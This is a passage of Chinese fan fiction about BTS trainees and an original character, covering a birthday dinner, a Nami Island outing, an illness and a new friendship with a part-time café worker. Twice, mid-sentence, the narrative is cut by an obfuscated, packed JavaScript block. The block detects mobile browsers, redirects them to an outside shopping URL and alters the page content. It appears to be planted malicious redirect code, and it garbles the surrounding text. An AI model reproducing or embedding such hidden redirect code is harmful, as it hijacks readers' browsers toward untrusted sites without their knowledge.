FNC哥哥们送的多是专业音乐人会喜欢的物件,李弘基送了一副限量版耳机,郑容和送了把手工定制的鼓槌,姜敏赫和李正信合送了一个小巧精致的便携录音设备。 Big Hit这边则更生活化,田柾国送了他珍藏的全新游戏卡带,金泰亨送上那幅被安岁秋评价为“很有灵魂”的抽象派“瑶玲”画作,郑号锡送了一套高级运动护具,金南俊送了几本他觉得很棒的哲学和文学书,金硕珍送了一条质感很好的羊绒围巾,闵玧其送的则是一个看起来很旧、但保存完好的黑胶唱片,封面是他很喜欢的国外乐队的首张专辑,扉页上有手写的赠言,年代久远。 “这张我找了很久,”闵玧其声音平淡,“觉得你会喜欢。” 安岁秋小心接过,指尖抚过封套上的细微划痕,重重点头,“很喜欢,谢谢玧其哥。” 气氛在烤肉的香气和欢声笑语中越来越热,成年人面前摆上了烧酒杯,安岁秋作为寿星和未成年,被特许喝一点果味汽酒。 金泰亨看着哥哥们杯子里清澈的液体,好奇得不行,趁闵玧其不注意,偷偷端起他的杯子快速抿了一小口。 下一秒,整张脸皱成一团,吐着舌头哈气,“啊啊啊好辣!好难喝!为什么哥哥们喜欢喝这个!” 全桌爆笑,李正信指着金泰亨笑道,“呀,小子,烧酒的魅力你还不懂!” 安岁秋笑着递过去果汁,金泰亨灌了大半杯才缓过来,泪眼汪汪地发誓再也不好奇了。 酒过三巡,微醺的哥哥们开始放飞自我。 包间成了临时livehouse,吉他贝斯不知道被谁拿了出来,即兴的合奏,荒腔走板的合唱,李弘基拉着安岁秋跳起了滑稽的舞步,郑容和拿着勺子当麦克风深情朗诵歌词。 灯光温暖,笑容真切,空气里弥漫着食物、酒气和毫无保留的快乐。 合照拍了一张又一张,挤挤挨挨的笑脸定格在手机屏幕里。 安岁秋被围在中间,脸上沾着一点哥哥恶作剧抹上的奶油,眼睛笑得弯弯的,映着灯光,亮得像藏了星星。 深夜的街道已经安静下来,秋夜的凉风稍稍吹散了酒意,FNC的哥哥们各自告别离开,只剩他们一行人沿着路灯往回走。 闵玧其、郑号锡、金硕珍和金南俊手里都抱着、拎着大大小小的礼物袋,安岁秋原本想帮忙拿一些,却被哥哥们一致拒绝。 “寿星今天最大,只管享受。” 金硕珍笑着说,尽管他自己怀里也堆得满满当当。 金泰亨和田柾国一左一右,紧紧牵着安岁秋的手,经历了白天的惊吓,两人似乎心有余悸,牵手的力道都比平时重了些,仿佛怕一松手,哥哥就会消失。 “岁秋哥,生日快乐。”田柾国小声说,仰起脸看他,圆眼睛在路灯下亮晶晶的。 “嗯,谢谢柾国。”安岁秋握紧他的手。 “瑶玲啊,”金泰亨晃了晃牵着的手,忽然哼起一段旋律,是晚上即兴演奏时某个洗脑的片段,调子跑得没边。 “啦啦啦~” 田柾国也跟着瞎哼起来,两人根本不在一个调上,明明都很好听的音色,被唱得荒腔走板,却莫名快乐。 安岁秋被他们逗笑,也轻轻跟着哼,慢慢的,金硕珍、郑号锡、金南俊也加入了这不成调的合唱,连闵玧其都几不可闻地跟着节奏点了点头。 七个身影在空旷的街道上拉出长长的、交织在一起的影子。 17. 技能缺失与照护 十二月,初冬的首尔被一层灰蒙蒙的寒气笼罩。 街边行道树的叶子早已落尽,只剩下光秃秃的枝桠伸向铅灰色的天空,行人呼出的白气瞬间消散在冷空气中,每个人都把自己裹进厚实的大衣和围巾里。 练习室的暖气开得很足,但窗玻璃上还是凝结了一层薄薄的水雾,最近流感似乎格外肆虐,公司和学校里都陆续有人中招。 上周末是金硕珍的生日,大家难得凑出完整的一天假期,一起去了京畿道的南怡岛。 岛上的初冬景象别有一番味道,水杉林褪去了夏日的葱茏,笔直的树干在清冷空气中显得格外肃穆,草坪泛着干燥的暖黄色,踩上去沙沙作响,汉江支流环绕的湖面在冬日稀薄的阳光下泛着细碎的银光,风掠过时带起阵阵寒意。 租自行车时,几个男孩兴奋地冲向车棚,七嘴八舌地挑选。 “我要那辆蓝色的!” “这辆带车筐的给硕珍哥,可以放东西!” “岁秋啊,你选哪辆?” 安岁秋落在队伍最后,看着一排排自行车,脚步有些迟疑,等众人都推着车出来,他还站在车棚入口处,指尖无意识地蜷了蜷。 “怎么了?” 金南俊推着一辆黑色的山地车走过来,注意到他的犹豫。 安岁秋抿了抿唇,声音不大但足够清晰,“……我不会骑。” 空气安静了一秒。 “莫?” 金泰亨睁大眼睛,表情像是听到了什么不可思议的事情,“安安不会骑车?真的?” 田柾国也凑过来,圆眼睛里满是好奇,“岁秋哥从来没学过吗?” 安岁秋耳根微热,点了点头,他童年多数时间在学各种乐器,后来来首尔做演员,出行大多有公司车接送,骑自行车这项技能就这样被遗漏了。 “哎一古,我们演员nim居然有不会的事情!” 郑号锡笑着打趣,语气里却没有丝毫嘲笑,只有觉得反差的可爱。 金南俊把车支好,挽起袖子,信心满满,“没事,很简单!哥教你,十分钟包会!” 于是接下来的二十分钟,南怡岛宁静的自行车道上上演了一出教学灾难。 安岁秋在金南俊的搀扶下艰难地坐上车座,双手紧紧握着车把,指节发白,金南俊在后面扶着后座,一边推一边讲解要领:“眼睛看前面,别低头!腰放松,脚踩稳——” 车歪歪扭扭地向前挪了不到五米,安岁秋的身体就开始不受控制地向一侧倾斜,无论怎么调整重心都无济于事,眼看就要连人带车栽进路边的枯草丛,金南俊赶紧用力扶正。 “对不起,哥……”安岁秋脸颊泛红,不知是用力还是羞窘。 “再来!多试几次就好!”金南俊鼓励道。 又尝试了几次,结果大同小异,安岁秋的平衡感在自行车上似乎彻底罢工,车头总是不听使唤地画着蛇形。最后一次,他试图用脚撑地保持平衡,却差点把自己绊倒,幸亏被金南俊眼疾手快一把搂着腰捞回来。 旁边已经骑了一圈回来的金泰亨和田柾国并排停在路边,看着这场景笑得前仰后合,连一向淡定的闵玧其都推着车站在不远处,嘴角噙着看热闹的笑意。 “算了算了,”金南俊终于放弃,抹了把额头上不存在的汗,“这样太危险,岁秋啊,你坐我后面。” 安岁秋还想挣扎一下:“我可以再试试……” “试什么试,”金硕珍也骑了回来,温和但不容拒绝地说:“路上车多人多,摔了怎么办?听南俊的。” 最终,安岁秋红着脸,侧身坐上了金南俊那辆山地车的后座,起初他不好意思搂金南俊的腰,只用手小心地抓着座位下方的金属杆。 但车子一启动,冬日的冷风扑面而来,他下意识地往前靠了靠,手臂慢慢环住了金南俊结实的腰身,把半张脸埋进对方厚实的外套里,试图挡住寒风。 金南俊感受到背后传来的温热和一点点重量,还有弟弟身上那股淡淡的、清爽的柚子茶香气,他挺直了脊背,把车骑得格外平稳。 一行人沿着环岛路骑行,冬日的景色在身侧缓缓掠过。 金泰亨和田柾国你追我赶,笑声洒了一路,郑号锡和闵玧其并排骑着,偶尔低声交谈,金硕珍悠闲地蹬着车,欣赏风景。 安岁秋坐在金南俊身后,看着哥哥们被风吹起的头发和衣角,又看向远处平静的湖面和在枝头跳跃的麻雀。 中午他们还在岛上一家有名的餐厅吃了烤排骨,酱汁浓郁,肉质鲜嫩,一个个吃得满手油光。 下午找了家临湖的咖啡馆,玻璃窗外是萧瑟却干净的冬日湖景,每个人点了一杯热饮,围坐在木桌旁,认真地在店家提供的彩色卡片上写下“未来心愿”。 田柾国咬着笔杆想了很久,最后工工整整地写下:「希望以后能和哥哥们一起,站在很大的舞台上表演。」还在旁边画了个小小的爱心。 金泰亨写得飞快:「要永远和瑶玲(安安)还有柾国一起玩!出道成功!吃好多好吃的!」 闵玧其的字迹简洁有力:「做出能留在人们心里的音乐。」 金南俊的卡片上写满了小而密集的字,仔细看是些哲学式的思考和对团队未来的期盼。 金硕珍写道:「希望成员们都健康快乐,我们一起走很长的路。」 郑号锡画了个跳舞的小人,旁边写着:「用舞蹈给大家带来力量!」 轮到安岁秋,他握着笔,看着窗外泛着冷光的湖面,想了想,写下:「愿此刻的幸福能延续到很久以后的未来。」 大家把写好的卡片小心地折好,放进一个小铁盒里,然后在咖啡馆后的小树林里,选了一棵看起来最茁壮的杉树,在它的根部挖了个小坑,郑重地将盒子埋了进去。 “说好了。” 金硕珍拍拍手上的土,笑容温暖,“等我们出道了,取得第一个一位的时候,就回来把它挖出来看看。” “一言为定!”几只手掌叠在一起。 傍晚时分,他们转战汉江边,租了几套简陋的渔具,在江堤上寻了处避风的位置,开始生平第一次夜钓。 江水在夜色中漆黑如墨,对岸城市的灯火倒映在水面,碎成一片晃动的光斑。 金泰亨最没耐心,每隔五分钟就要提一次竿,结果一无所获,田柾国一开始兴致勃勃,后来也开始打哈欠,郑号锡和金南俊倒是沉得住气,目不转睛地盯着浮漂,闵玧其抱着膝盖坐在折叠凳上,望着江面出神,像尊安静的雕塑,金硕珍手法最老道,不时调整着鱼饵。 安岁秋裹紧羽绒服,坐在金硕珍旁边的矮凳上,江风带着湿冷的水汽扑面而来,他忍不住打了个小小的喷嚏。 “冷吗?”金硕珍侧头看他,把带来的毯子分了一半盖在他腿上。 “还好。”安岁秋摇摇头,目光落在金硕珍被远处灯光勾勒出的柔和侧脸上。 篝火的光在哥哥们年轻的脸上跳跃,他们压低声音交谈着,内容从出道后想开多大的演唱会,到最近练习的难点,再到宿舍楼下新开的便利店哪种饭团最好吃。 那些话语夹杂着笑声,飘散在寒冷的江风里,安岁秋安静地听着。 最终只有金硕珍和金南俊各钓到两条不大的江鱼,他们在江边找了家简陋但热气腾腾的小店,让老板简单烤了,撒上盐和辣椒粉,配着汽水分食。 鱼很小,肉也不多,但每个人都吃得很香,仿佛那是世间难得的美味。 也许是因为在江边吹了太久冷风,也许是因为最近流感病毒猖獗,从南怡岛回来的第二天,安岁秋就开始不对劲了。早晨起来就感觉喉咙发干,鼻子有些堵,到了公司练习时,明明暖气很足,他却觉得一阵阵发冷。 “岁秋啊,脸怎么这么红?” 中途休息时,郑号锡摸了摸他的额头,皱眉,“好像有点发热。” 金硕珍立刻翻出随身带的体温计——自从郑号锡上次感冒后,他就习惯在背包里备着常用药和体温计。 一量,三十七度八,低烧。 “肯定是昨天吹风了。”金硕珍叹了口气,语气里满是自责,“不该让你们钓那么久的鱼。” “我没事,哥。”安岁秋声音有些沙哑,还想坚持练习。 “没事什么没事,”闵玧其走过来,不由分说地把他按到墙边的椅子上坐下,“今天别练了,回去休息。” 最终,安岁秋被提前送回宿舍,金硕珍给他找了感冒药,又煮了清淡的粥,看着他喝下,裹着厚厚的被子躺下休息。 接下来的几天,安岁秋就在低烧、鼻塞和咳嗽中度过。 虽然吃了药,但感冒症状还是拖拖拉拉,他整个人都蔫蔫的,反应比平时慢半拍,练习时也提不起劲,常常缩在角落,用毯子把自己裹成一团,只露出一双因为生病而显得更加水润朦胧的眼睛,看着格外惹人怜惜。 舞蹈课间休息,大家累得东倒西歪,安岁秋没什么精神地靠着镜子坐着。 田柾国眼珠一转,忽然站起来,清了清嗓子,然后摆出一个夸张的姿势—— 双脚分开与肩同宽,双手叉腰,下巴微抬,眉头紧锁,模仿着孙成德老师标志性的严肃表情和语气: “力量!控制!我说过多少遍,跳舞不是做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394866|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体操!要用这里——”他用力拍了拍自己的腹部。 “用核心!不是用手臂瞎甩!你们看看自己的动作,软绵绵的像什么样子!” 他模仿得惟妙惟肖,连孙老师那种恨铁不成钢的语调和习惯性的手势都抓得精准,原本病恹恹的安岁秋被逗得眼睛弯了起来,苍白的脸上终于有了点笑意,其他几个人也忍俊不禁。 田柾国见有效果,更来劲了,开始模仿孙老师纠正动作时的经典语录:“金南俊!跳得太过了!收一点!” “闵玧其!框架!你的框架又被狗吃了吗?金泰亨!表情管理!笑不是呲牙!” 他一边说一边做出相应的滑稽动作,安岁秋终于忍不住笑出声,虽然因为鼻音笑声闷闷的,但眼睛亮了不少。 田柾国正模仿到兴头上,背对着练习室门口,没注意到一个身影不知何时走了进来,正抱着手臂,面无表情地站在他身后。 金泰亨第一个发现,眼睛瞬间瞪大,想提醒又不敢,表情扭曲,郑号锡拼命使眼色,金南俊抬起了手,闵玧其默默别开了脸。 “看来……” 一道冷冰冰的、无比熟悉的声音在田柾国身后响起,“田柾国选手对我上课的方式,很有心得体会?” 田柾国身体瞬间僵直,脖子像生了锈的机器一样,一格一格地转过去,对上孙成德那张毫无笑意的脸时,他整个人肉眼可见地石化,然后碎裂。 “老、老师……”尾音都在颤抖。 孙成德挑了挑眉,目光扫过一旁努力憋笑的其他成员,最后落回田柾国惨白的小脸上。 “既然你这么有研究,想必基础已经很扎实了。今天的基本功组合,加练十遍。现在,开始。” 田柾国欲哭无泪,只能在孙老师严厉的注视下,灰溜溜地回到场地中央,开始一遍又一遍地重复那些基础动作。 安岁秋看着忙内那副可怜又好笑的样子,虽然鼻子还塞着,但心里那点病中的郁气消散了不少。 感冒带来的不止是身体的不适,还有对状态的影响。 说唱课,安岁秋因为鼻子不通,呼吸不畅,练一段需要快速换气的快嘴rap时格外吃力。 “咬字要清晰,节奏要稳,呼吸要控制好。”金南俊示范了一遍,流畅利落。 安岁秋点点头,深吸一口气,努力跟上节奏,“无论多少黑暗笼罩,我坚信那闪耀的未来必将到来……” 前面还算顺利,但到了“闪耀的未来”这几个需要快速连续吐字的音节时,因为舌头和嘴唇受鼻塞影响不够灵活,他一着急—— “无论多少黑暗笼罩,我坚信那……烤鸭的未来必将到来!” 练习室瞬间陷入死寂。 安岁秋自己还没意识到说错了,眨眨眼,看向金南俊。 “哥,我这次节奏对吗?” 金南俊张着嘴,呆呆地看着他,旁边的闵玧其肩膀开始轻微抖动,郑号锡先是一愣,随即猛地捂住嘴,但压抑不住的笑声还是从指缝里漏了出来。 “噗……咳咳,烤、烤鸭的未来?” 郑号锡笑到拍大腿,“岁秋啊,你是饿了吗?什么未来?烤鸭味的未来?” 金南俊也回过神,爆发出洪亮的笑声,一边笑一边拍桌子:“哈哈哈哈烤鸭!闪耀烤鸭!岁秋啊,你想吃烤鸭了吗?哥晚上给你买!” 连一贯表情稀少的闵玧其都转过身去,背对着大家,但耸动的肩膀出卖了他。 安岁秋这才反应过来自己口误了,脸颊腾地烧红,又羞又恼,恨不得找个地缝钻进去。 “不是……是闪耀!闪耀!”他试图纠正,但越急越说不清楚。 这桩糗事当然没能只停留在练习室。 晚上回到宿舍,田柾国——明明刚因为模仿老师被罚了十遍基本功、按理说应该吸取教训的忙内——再次管不住自己的表演欲。 在大家吃晚饭时,他惟妙惟肖地重现了白天那一幕,学着安岁秋当时认真的表情,然后用一种奇怪的、舌头打结的腔调快速念道:“烤鸭的未来!烤鸭的未来!” 不仅模仿口误,还加上了安岁秋事后反应过来时那瞬间的茫然和羞恼,演技精湛。 “田柾国!”安岁秋羞恼地放下筷子,起身要去抓他。 田柾国大笑着灵活躲开,绕着狭小的客厅跑,“本来就是嘛!岁秋哥自己说的!烤鸭的未来!哈哈哈哈!” 安岁秋追着他,但因为感冒还没好全,动作不如平时敏捷,踢出去的脚也被田柾国轻易躲过。 两人一个追一个逃,在有限的空间里制造出不小的动静,一顿饭吃得鸡飞狗跳。 18. 外部关系引入 平安夜那天,金泰亨家里寄来了一个大包裹,里面是满满当当的居昌水果和特产零食。 晚上,七个人挤在宿舍小小的矮桌旁,桌上摆着洗干净的苹果、橘子和一些饼干,窗外隐约传来圣诞歌曲的旋律,远处商圈的霓虹灯在夜空中闪烁。 “一人一个苹果,平安夜要平平安安。” 金硕珍把最大最红的那个苹果递给安岁秋,“岁秋,这个给你。” 安岁秋接过,苹果是清脆的品种,咬下去会发出“咔嚓”的清脆声响,在安静的宿舍里格外清晰,汁水清甜,是他少数几种不会过敏的水果之一。 他小口吃着,看着围坐在一起的哥哥弟弟们——金泰亨正手舞足蹈地讲着家里寄来的泡菜有多好吃,田柾国专心啃苹果,脸颊鼓鼓的像仓鼠,郑号锡和金南俊在讨论最近的新电影,闵玧其安静地剥着橘子,把剥好的果肉分给大家。 温暖的灯光,食物的香气,熟悉的笑脸,安岁秋忽然觉得,感冒好像也没那么难受了。 时间滑向十二月底。 30号清晨,天还没完全亮透,安岁秋感觉自己的床铺微微一沉,一个毛茸茸的脑袋就钻进了他的被子。 “安安呀~~” 带着刚睡醒的沙哑和无限撒娇意味的声音在耳边响起。 安岁秋迷迷糊糊地睁开眼,对上金泰亨近在咫尺的、笑得见牙不见眼的脸,对方头发乱糟糟的,睡衣领口歪斜,但眼睛亮得像盛满了星星。 “嗯……泰亨哥?”安岁秋还没完全清醒,声音糯糯的。 “我十六周岁啦!” 金泰亨宣布,整个人像只大型犬一样往安岁秋身上蹭,“生日快乐要听安安亲口说!” 安岁秋被他蹭得彻底清醒,忍不住笑起来,伸出双手捧住金泰亨的脸颊,很认真地看着他的眼睛,声音温柔:“泰亨哥,生日快乐。” 金泰亨满意地眯起眼,享受了几秒弟弟的捧脸待遇,然后眼珠一转,开始得寸进尺,“礼物呢?安安给我准备礼物了吗?” “准备了。”安岁秋松开手,从床头柜的抽屉里拿出一个包装精美的方形礼盒。 金泰亨兴奋地拆开——里面是一个用彩色积木精心拼成的瑶玲摆件,造型灵动可爱,细节处甚至还原了动画里小狐狸的尾巴和铃铛。 他“哇”地叫出声,爱不释手地捧在手里看了又看,显然非常喜欢。 但下一秒,他把摆件小心地放到一边,然后重新凑近安岁秋,眨巴着那双漂亮的眼睛,用一种混合着期待、撒娇和理直气壮的语气说:“礼物很喜欢……但是,我还想要别的。” “别的?”安岁秋疑惑。 金泰亨伸出一根手指,点了点自己的脸颊,笑容狡黠又明亮,“呀,bobo。” 安岁秋愣住了。 “我看见了……” 金泰亨凑得更近,压低声音,像是分享什么小秘密,“硕珍哥过生日那天,你亲他了,我也要。” 安岁秋的脸颊以肉眼可见的速度泛起红晕,一直蔓延到耳根,“那是因为成人礼……” “我不可以吗?” 他想往后躲,但床铺空间有限,金泰亨也不催,就用那种湿漉漉的、充满期待和喜悦的眼神看着他,仿佛如果被拒绝,下一秒就能委屈得耷拉下耳朵和尾巴。 僵持了几秒,安岁秋败下阵来,他抿了抿唇,像是下了很大决心,飞快地凑过去,在金泰亨温热的脸颊上轻轻碰了一下。 触感一触即分。 金泰亨却像是得到了全世界最甜的糖果,瞬间笑开了花,四方嘴咧得大大的,一把抱住安岁秋,在他肩头蹭来蹭去,“哇!谢谢安安!这是最好的生日礼物!” 安岁秋被他抱得紧紧的,脸上的热度还没退去,心里又是无奈又是好笑,最终只是伸手拍了拍这位过于兴奋的哥哥的后背。 因为这个清晨的“特别礼物”,一上午的练习室气氛都有些微妙。 金泰亨整个人都处于一种亢奋的飘然状态,练习时嘴角就没下来过,还总是不自觉地抬手摸自己被亲过的脸颊。而安岁秋则一反常态,总是刻意和金泰亨保持距离,对方一靠近他就默默移开,眼神躲避,耳朵时不时还会泛红。 其他哥哥们很快察觉到异常。 “泰亨啊……” 休息时,郑号锡碰了碰金泰亨,压低声音,“你是不是欺负岁秋了?他怎么好像躲着你?” 金泰亨一脸无辜加得意:“没有啊!是安安太害羞了!” 金南俊摸着下巴,打量着远处正认真压腿、但耳根明显泛红的安岁秋,和身边这个笑得像偷腥猫的金泰亨,若有所思,“有故事。” 闵玧其瞥了他们一眼,没说话,只是拿起水瓶喝了一口,心里大概猜到了七八分。 到了中午,不知怎么的,两人之间那种微妙的距离感又消失了。 安岁秋不再刻意躲闪,金泰亨也恢复了平常的黏人但不过分的状态,他们又像往常一样头挨着头分享一副耳机,凑在一起看手机视频,偶尔低声交谈,气氛融洽。 田柾国看着重新黏糊到一起的两人,撇了撇嘴,小声嘀咕,“泰亨哥动作真快……” 他跟岁秋哥的二人世界还没开始就结束了。 公司没有因为金泰亨的生日而额外放假,毕竟下半年生日扎堆,假期给不过来,但孙成德老师难得开恩,晚上没有安排加训,让他们可以早点回宿舍庆祝。 一群半大小子训练一结束就作鸟兽散,冲进公司附近的便利店、炸鸡店、韩食店,熟门熟路地采购。 半小时后,大家拎着大包小包在宿舍楼下汇合,再乌泱泱地涌进狭小的房间,安岁秋手里还提着一个不大的四寸草莓蛋糕,白色奶油上点缀着鲜红的草莓,简单却温馨。 没有豪华的派对,没有昂贵的礼物,只有熟悉的笑脸、嘈杂的祝福、炸鸡的香气和甜腻的奶油。 大家挤在客厅地板上,七手八脚地拆包装、分食物,电视机里放着吵吵闹闹的综艺节目作为背景音,金泰亨戴着金硕珍不知从哪儿翻出来的纸质生日帽,在大家的起哄下吹灭了蛋糕上的蜡烛,许了个没人知道的愿望。 因为第二天是跨年,公司难得地连放两天假,这群少年便彻底放纵起来。 吃完蛋糕零食,有人提议看恐怖片,灯一关,窗帘拉紧,笔记本电脑屏幕幽蓝的光映亮几张紧张又兴奋的脸。 片子是老套的日式恐怖,但音效营造气氛一流。 郑号锡胆子最小,每当有惊悚镜头或突然的音效,他就会猛地倒吸一口冷气,然后一把将坐在他旁边的安岁秋紧紧搂进怀里,把脸埋在对方肩膀上,嘴里念叨着“啊啊啊吓死了”。 安岁秋被他箍得动弹不得,感觉自己像个人形护身符玩偶,金硕珍也被吓得够呛,从另一侧凑过来,抓住安岁秋的胳膊。于是安岁秋被两人一左一右夹在中间,承受着双倍的惊吓反应和抓握力,既无奈又有点想笑。 电影散场时已近凌晨,但没人有睡意,大家挤在一起,聊着不着边际的天,畅想着虚无缥缈的未来,直到天色将明才陆续睡去。 假期的第二天下午,安岁秋跟着金硕珍和金南俊去了附近的超市,为接下来两天的伙食采购。 超市里充满节日的余韵,货架上还残留着圣诞装饰,广播里播放着舒缓的节日音乐。 金硕珍负责清单和预算,金南俊推着购物车,安岁秋则帮忙挑选食材,三个人穿梭在货架间,低声讨论着买什么牌子的牛奶更划算,哪种拉面口味大家还没吃腻,像任何一个平凡的家庭在为日常生活做着规划。 走到冷藏柜前,安岁秋停下脚步,仔细比较着两种品牌酸奶的成分表和保质期,他微微弯腰,专注地看着标签,没注意到身后有人正抱着一大箱货物快步走来。 “小心——” 碰撞发生得很突然。 安岁秋感觉肩背被轻轻碰了一下,身体一晃,下意识转身,对方也显然没料到有人,箱子边缘擦过货架,发出轻微的摩擦声。 “对不起!” 两人几乎同时开口,同时鞠躬。 安岁秋抬起头,看见一个穿着超市员工制服的男生,个子挺高,戴着透明的食品口罩,露出的眉眼清秀,眼神里带着一丝匆忙和歉意,看起来年纪不大,像是高中生。 “没事吧?”对方问,声音隔着口罩有些模糊。 “没事,是我没注意。”安岁秋摇摇头。 男生似乎赶时间,又匆匆道了次歉,便抱着箱子快步朝员工通道的方向走去。 安岁秋看着他消失在通道拐角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394867|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,收回视线,正准备继续挑选酸奶,目光却瞥见地上掉落的一个长方形塑封卡片。 他弯腰捡起,是一个高中校牌,透明套子里夹着学生的基本信息卡,照片上的少年眉眼干净,微微笑着。 姓名栏写着:林东玄。学校:清潭高等学校。 是他的校友。 安岁秋拿着校牌,朝员工通道方向张望,已经看不到那个男生的身影。 他走到附近一个正在整理货架的员工身边,礼貌地询问:“您好,请问刚才那位抱着箱子的员工……是叫林东玄吗?他好像掉了东西。” 那位中年女员工愣了一下,想了想,“林东玄?” “哦,你说那个新来的兼职?他今天好像只排了上午的班,刚才是来还制服的吧?可能已经走了。” 安岁秋又问了问超市服务台,得到的答复类似,没人清楚那个兼职生的具体联系方式,他只好暂时把校牌收进口袋,想着等下次去学校时,可以试着打听一下,看能不能物归原主。 2012年1月1日,新年第一天。 昨晚宿舍的跨年狂欢持续到很晚,枕头大战、电子游戏、无聊的电视节目,一群精力过剩的少年闹得天翻地覆,安岁秋被折腾得够呛,早晨醒来时脑袋还有些昏沉。 趁着金硕珍还在准备早餐,其他人也没完全清醒,他悄悄溜出宿舍,裹紧羽绒服,朝着记忆里父亲在附近开的一家连锁咖啡店走去,他急需一杯高浓度咖啡因来唤醒混沌的大脑。 店里人不多,弥漫着浓郁的咖啡豆香气,安岁秋走到柜台前,对那位背对着他、正在整理器具的服务生说:“一杯冰美式,8shot,谢谢。” “好的,请稍等。”服务生转过身来,伸手去拿杯子。 两人目光在空中相遇,同时愣了一下。 服务生下巴上透明的口罩后面,是一张清秀的、略显熟悉的脸,正是昨天在超市撞到的那位。 而对方显然也认出了安岁秋,眼睛微微睁大,目光落在他从口袋里掏出的那个校牌上。 “林东玄xi?” 安岁秋把校牌放在柜台上,往前推了推。 林东玄看看校牌,又看看安岁秋,眼里闪过惊讶和一丝了然,随即笑了起来,眼睛弯成月牙,“啊,是你,昨天谢谢了,我还以为找不到了。” 他拿起校牌,仔细看了看,确认完好无损,然后小心地收进自己口袋。 “不客气。” 安岁秋说,顿了顿,“你也是清潭高中的?” “嗯,高二,在这里做兼职。” 林东玄一边熟练地操作咖啡机,一边回答,动作流畅。 “昨天是去还制服的,差点迟到,所以走得急。真没想到是你捡到了……还没谢谢你呢,补办校牌挺麻烦的。” 他抬眼看了看安岁秋,“你也是清潭的?高一的?” “嗯,高一。” “难怪觉得有点眼熟。” 林东玄将萃好的浓缩咖啡倒入装好冰块的杯中,动作顿了顿,还是忍不住问:“那个……8shot,真的没问题吗?会很苦。” 安岁秋接过那杯颜色深得近乎黑色的冰美式,抿了一小口,苦涩醇厚的液体滑过喉咙,带来熟悉的清醒感。 “没事,习惯了。” “昨天没找到你,本来想着去学校问问看。” “缘分真奇妙,对吧?” 林东玄笑了笑,笑容干净,“新年第一天就物归原主了,好兆头。” 安岁秋也微微弯起嘴角,“嗯,好兆头。” 他付了钱,对林东玄点了点头,便拿着那杯浓度惊人的冰美式离开了咖啡店,推开门,冬日清冷的空气迎面扑来,混合着咖啡的苦涩香气。 林东玄站在柜台后,看着那个穿着深色羽绒服、背影清瘦挺拔的少年走进新年微薄的阳光里,心里掠过一丝奇妙的感触。 原来他们学校,还有这样一号人物,长得过分好看,声音也好听,喝咖啡的口味更是……独具一格。 安岁秋沿着街道慢慢走回宿舍,小口啜饮着冰凉的咖啡,脑袋逐渐清醒,阳光虽然淡薄,却让人心情明朗。 他想,新年第一天,就遇到这样有点巧合的人和事。 或许,这真的是个好兆头。 19. 双人外部考察 期末考试成绩公布那天,首尔落了那年冬天的第一场细雪。 安岁秋站在公告栏前,目光在榜单中段找到了自己的名字——年级第十八名,他静静看了两秒,呼出的白气在冷空气中缓缓消散。 不算顶尖,但足够了。 对于同时兼顾练习生课程、音乐创作和常规学业的他来说,这个成绩至少能给自己的付出一个像样的交代。 他想起转学到首尔时,奶奶在电话里温声说:“我们安安开心最重要,成绩什么的,尽力就好。” 可他知道自己并没有“尽力”—— 至少没像那些埋头苦读的同学一样,把全部时间献给教科书,更多时候,他的夜晚属于练习室的镜子、录音设备的指示灯,以及电脑屏幕上永远修改不完的音符。 手机在口袋里震动,安岁秋掏出来看。 「东玄哥:放假了?来杯咖啡?」 他指尖微动,回复:「好。」 和林东玄熟络起来是件很正常的事,毕竟以安岁秋买咖啡的频率近乎能和对方每天都见一次面,更何况对方还是个有些自来熟的性格,既然林东玄主动朝他走了过来,安岁秋自然也不会推开。 “岁秋啊!” 林东玄从柜台后探出头,笑容明朗,完全看不出他刚结束早上的送报工作。 “老位置给你留着了,美式?” 安岁秋点头,在靠窗的角落坐下,窗外雪渐渐大了,行人裹紧外套匆匆走过,整个世界陷入一种柔软的安静。 林东玄端着咖啡过来时,脱掉了围裙。 他在对面坐下,眼下的淡淡青黑透出疲惫,但眼睛依然亮,“考得怎么样?” “十八名。” 安岁秋把糖包推到一边,“哥呢?” “差不多,中游。” 林东玄喝了口自己的热可可,“能毕业就行,反正我也没打算念大学。” 这话他说得很平静,安岁秋却听出底下沉甸甸的重量。 林东玄的家庭情况,是慢慢熟络后一点一点透露出来的:父亲在工地干活,早年欠下的债还没还清;母亲一天打三份工,凌晨送报、中午餐厅、下午去做保姆;弟弟有严重的发育障碍,需要专人照料,那笔费用像无底洞。 所以林东玄从初中就开始打工,咖啡店、送报、发传单、餐厅服务员……他的时间被切割成无数碎片,每一片都要换成钱。 可就是这样一个人,还会在周末去街头球场打篮球,会攒钱买二手CD,会因为在咖啡店听到一首好歌而眼睛发亮。 “最近……看了部电影。” 林东玄忽然开口,手指摩挲着温热的杯壁,“《向日葵》[1]。” 安岁秋记得那部片子,讲的是一个曾经入狱的男人试图回归正常生活的故事,沉重但温柔。 “里面有个场景,”林东玄声音轻了些。 “主角站在舞台上,第一次演戏,灯光打下来的时候,他哭了……不是演技,是真的哭了。” “我就在想,站在光下,把别人的生命活一次,是什么感觉?” 安岁秋安静听着。 “有点……想试试演戏。” 林东玄说完自己先笑了,那笑容里满是自嘲,“但我这种家庭,哪有资格做梦?爸妈已经够累了,弟弟还需要钱……我要是跟他们说‘我想当演员’,是不是太自私了?” 咖啡店里的爵士乐换了一首,萨克斯风的声音低回婉转。 